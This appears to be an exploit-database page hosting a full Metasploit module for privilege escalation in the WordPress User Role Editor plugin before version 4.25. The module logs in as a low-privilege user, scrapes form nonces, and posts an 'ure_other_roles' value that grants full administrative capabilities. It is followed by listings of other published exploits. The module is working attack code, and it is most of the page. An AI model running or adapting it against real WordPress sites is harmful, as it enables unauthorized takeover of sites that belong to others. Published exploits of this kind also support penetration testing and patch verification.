Menu

Search for hundreds of thousands of exploits

"WordPress Plugin User Role Editor < 4.25 - Privilege Escalation"

Author

Exploit author

"Tomislav Paskalev"

Platform

Exploit platform

php

Release date

Exploit published date

2018-05-06

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress User Role Editor Plugin Privilege Escalation',
      'Description'     => %q{
        The WordPress User Role Editor plugin prior to v4.25, is lacking an authorization
        check within its update user profile functionality ("update" function, contained
        within the "class-user-other-roles.php" module).
        Instead of verifying whether the current user has the right to edit other users'
        profiles ("edit_users" WP capability), the vulnerable function verifies whether the
        current user has the rights to edit the user ("edit_user" WP function) specified by
        the supplied user id ("user_id" variable/HTTP POST parameter). Since the supplied
        user id is the current user's id, this check is always bypassed (i.e. the current
        user is always allowed to modify its profile).
        This vulnerability allows an authenticated user to add arbitrary User Role Editor
        roles to its profile, by specifying them via the "ure_other_roles" parameter within
        the HTTP POST request to the "profile.php" module (issued when "Update Profile" is
        clicked).
        By default, this module grants the specified WP user all administrative privileges,
        existing within the context of the User Role Editor plugin.
      },
      'Author'          =>
        [
          'ethicalhack3r',    # Vulnerability discovery
          'Tomislav Paskalev' # Exploit development, metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          ['WPVDB', '8432'],
          ['URL', 'https://www.wordfence.com/blog/2016/04/user-role-editor-vulnerability/']
	],
      'DisclosureDate'  => 'Apr 05 2016',
    ))

    register_options(
      [
        OptString.new('TARGETURI',   [true, 'URI path to WordPress', '/']),
        OptString.new('ADMINPATH',   [true, 'wp-admin directory', 'wp-admin/']),
        OptString.new('CONTENTPATH', [true, 'wp-content directory', 'wp-content/']),
        OptString.new('PLUGINSPATH', [true, 'wp plugins directory', 'plugins/']),
        OptString.new('PLUGINPATH',  [true, 'User Role Editor directory', 'user-role-editor/']),
        OptString.new('USERNAME',    [true, 'WordPress username']),
        OptString.new('PASSWORD',    [true, 'WordPress password']),
	OptString.new('PRIVILEGES',  [true, 'Desired User Role Editor privileges', 'activate_plugins,delete_others_pages,delete_others_posts,delete_pages,delete_posts,delete_private_pages,delete_private_posts,delete_published_pages,delete_published_posts,edit_dashboard,edit_others_pages,edit_others_posts,edit_pages,edit_posts,edit_private_pages,edit_private_posts,edit_published_pages,edit_published_posts,edit_theme_options,export,import,list_users,manage_categories,manage_links,manage_options,moderate_comments,promote_users,publish_pages,publish_posts,read_private_pages,read_private_posts,read,remove_users,switch_themes,upload_files,customize,delete_site,create_users,delete_plugins,delete_themes,delete_users,edit_plugins,edit_themes,edit_users,install_plugins,install_themes,unfiltered_html,unfiltered_upload,update_core,update_plugins,update_themes,ure_create_capabilities,ure_create_roles,ure_delete_capabilities,ure_delete_roles,ure_edit_roles,ure_manage_options,ure_reset_roles'])
      ])
  end

  # Detect the vulnerable plugin by enumerating its readme.txt file
  def check
    readmes = ['readme.txt', 'Readme.txt', 'README.txt']

    res = nil
    readmes.each do |readme_name|
      readme_url = normalize_uri(target_uri.path, datastore['CONTENTPATH'], datastore['PLUGINSPATH'], datastore['PLUGINPATH'], readme_name)
      vprint_status("Checking #{readme_url}")
      res = send_request_cgi(
        'uri'    => readme_url,
        'method' => 'GET'
      )
      break if res && res.code == 200
    end

    if res.nil? || res.code != 200
      # The readme.txt file does not exist
      return Msf::Exploit::CheckCode::Unknown
    end

    version_res = extract_and_check_version(res.body.to_s, :readme, 'plugin', '4.25', nil)
    return version_res
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  # Search for specified data within the provided HTTP response
  def check_response(res, name, regex)
    res.body =~ regex
    result = $1
    if result
      print_good("#{peer} - WordPress - Getting data   - #{name}")
    else
      vprint_error("#{peer} #{res.body}")
      fail_with("#{peer} - WordPress - Getting data   - Failed (#{name})")
    end
    return result
  end

  # Run the exploit
  def run
    # Check if the specified target is running WordPress
    fail_with("#{peer} - WordPress - Not Found") unless wordpress_and_online?

    # Authenticate to WordPress
    print_status("#{peer} - WordPress - Authentication - #{username}:#{password}")
    cookie = wordpress_login(username, password)
    fail_with("#{peer} - WordPress - Authentication - Failed") if cookie.nil?
    store_valid_credential(user: username, private: password, proof: cookie)
    print_good("#{peer} - WordPress - Authentication - OK")

    # Get additional information from WordPress, required for the HTTP POST request (anti-CSRF tokens, user parameters)
    url = normalize_uri(wordpress_url_backend, 'profile.php')
    print_status("#{peer} - WordPress - Getting data   - #{url}")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => url,
      'cookie'   => cookie
    })

    if res and res.code == 200
      wp_nonce     = check_response(res, "_wpnonce",     /name=\"_wpnonce\" value=\"(.+?(?=\"))\"/)
      color_nonce  = check_response(res, "color-nonce",  /name=\"color-nonce\" value=\"(.+?(?=\"))\"/)
      checkuser_id = check_response(res, "checkuser_id", /name=\"checkuser_id\" value=\"(.+?(?=\"))\"/)
      nickname     = check_response(res, "nickname",     /name=\"nickname\" id=\"nickname\" value=\"(.+?(?=\"))\"/)
      display_name = check_response(res, "display_name", /name=\"display_name\" id=\"display_name\"\>[\s]+\<option  selected=\'selected\'\>(.+?(?=\<))\</)
      email        = check_response(res, "email",        /name=\"email\" id=\"email\" value=\"(.+?(?=\"))\"/)
      user_id      = check_response(res, "user_id",      /name=\"user_id\" id=\"user_id\" value=\"(.+?(?=\"))\"/)
    else
      fail_with("#{peer} - WordPress - Getting data   - Server response (code #{res.code})")
    end
 
    # Send HTTP POST request - update the specified user's privileges
    print_status("#{peer} - WordPress - Changing privs - #{username}")
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => url,
      'vars_post' => {
        '_wpnonce'         => wp_nonce,
        '_wp_http_referer' => URI::encode(url),
        'from'             => 'profile',
        'checkuser_id'     => checkuser_id,
        'color-nonce'      => color_nonce,
        'admin_color'      => 'fresh',
        'admin_bar_front'  => '1',
        'first_name'       => '',
        'last_name'        => '',
        'nickname'         => nickname,
        'display_name'     => display_name,
        'email'            => email,
        'url'              => '',
        'description'      => '',
        'pass1'            => '',
        'pass2'            => '',
        'ure_other_roles'  => datastore['PRIVILEGES'],
        'action'           => 'update',
        'user_id'          => user_id,
        'submit'           => 'Update+Profile'
      },
      'cookie'    => cookie
    })

    # check outcome
    if res and res.code == 302
      print_good("#{peer} - WordPress - Changing privs - OK")
    else
      fail_with("#{peer} - WordPress - Changing privs - Server response (code #{res.code})")
    end
  end
end

# EoF
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2018-05-06 "WordPress Plugin User Role Editor < 4.25 - Privilege Escalation" webapps php "Tomislav Paskalev"
2016-10-24 "Microsoft Windows (x86) - 'NDISTAPI' Local Privilege Escalation (MS11-062)" local windows_x86 "Tomislav Paskalev"
2016-10-18 "Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)" local windows_x86 "Tomislav Paskalev"
2015-11-02 "Symantec pcAnywhere 12.5.0 (Windows x86) - Remote Code Execution" remote windows_x86 "Tomislav Paskalev"
2015-08-12 "Microsoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)" local windows "Tomislav Paskalev"
2015-08-07 "Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002)" local windows_x86 "Tomislav Paskalev"
2015-04-23 "Quick Search 1.1.0.189 - search textbox Buffer Overflow (SEH Unicode) (Egghunter)" local windows "Tomislav Paskalev"
2015-04-22 "MooPlayer 1.3.0 - 'm3u' Local Buffer Overflow (SEH) (2)" local windows "Tomislav Paskalev"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.